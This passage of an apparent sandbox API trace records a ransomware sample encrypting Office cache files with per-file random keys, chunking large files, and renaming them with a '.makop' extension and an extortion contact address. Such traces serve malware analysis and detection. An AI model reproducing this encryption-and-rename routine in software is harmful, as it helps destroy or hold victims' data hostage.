Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0068.701] CloseHandle (hObject=0x130) returned 1 [0068.703] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0068.703] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0068.703] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0068.707] GetProcessHeap () returned 0x48a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0068.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0068.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0068.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0068.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.708] GetProcessHeap () returned 0x48a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0068.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0068.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.708] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0068.716] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0068.716] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0068.716] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0068.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0068.717] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0068.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0068.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.717] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd5c00, lpOverlapped=0x0) returned 1 [0068.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd5c00, dwBufLen=0xd5c00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd5c00) returned 1 [0068.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.771] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd5c00, lpOverlapped=0x0) returned 1 [0068.779] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.779] SetEndOfFile (hFile=0x130) returned 1 [0068.786] GetProcessHeap () returned 0x48a0000 [0068.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0068.786] GetProcessHeap () returned 0x48a0000 [0068.786] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0068.786] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0068.786] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0068.813] CloseHandle (hObject=0x130) returned 1 [0068.813] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0068.813] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0068.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0068.814] GetProcessHeap () returned 0x48a0000 [0068.814] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0068.814] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0068.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0068.815] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0068.849] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0068.849] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.849] GetProcessHeap () returned 0x48a0000 [0068.849] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0068.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0068.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.850] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0068.850] WriteFile (in: hFile=0x130, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0068.850] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0068.850] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0068.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0068.851] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0068.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0068.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.851] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x543, lpOverlapped=0x0) returned 1 [0068.851] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550) returned 1 [0068.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.852] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x550, lpOverlapped=0x0) returned 1 [0068.852] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.852] SetEndOfFile (hFile=0x130) returned 1 [0068.873] GetProcessHeap () returned 0x48a0000 [0068.873] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0068.873] GetProcessHeap () returned 0x48a0000 [0068.873] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0068.873] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0068.873] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0068.880] CloseHandle (hObject=0x130) returned 1 [0068.881] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0068.881] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0068.881] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0068.881] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 71 [0068.881] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*") returned 75 [0068.881] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0068.882] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.882] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0068.882] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0068.882] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0068.884] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=13642474) returned 1 [0068.884] GetProcessHeap () returned 0x48a0000 [0068.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0068.884] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0068.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.885] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x6, lpOverlapped=0x0) returned 1 [0068.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0068.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.893] GetProcessHeap () returned 0x48a0000 [0068.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0068.893] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30) returned 1 [0068.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.894] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0068.894] WriteFile (in: hFile=0x130, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0068.894] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0068.894] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0068.894] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0068.894] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0068.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0068.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0068.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0068.895] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0068.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0068.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.914] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0068.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.916] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0068.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0068.917] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0068.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.940] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0068.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.942] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0068.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0068.943] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0068.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0068.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.954] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0068.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.956] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0068.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0068.956] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.956] SetEndOfFile (hFile=0x130) returned 1 [0068.963] GetProcessHeap () returned 0x48a0000 [0068.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0068.963] 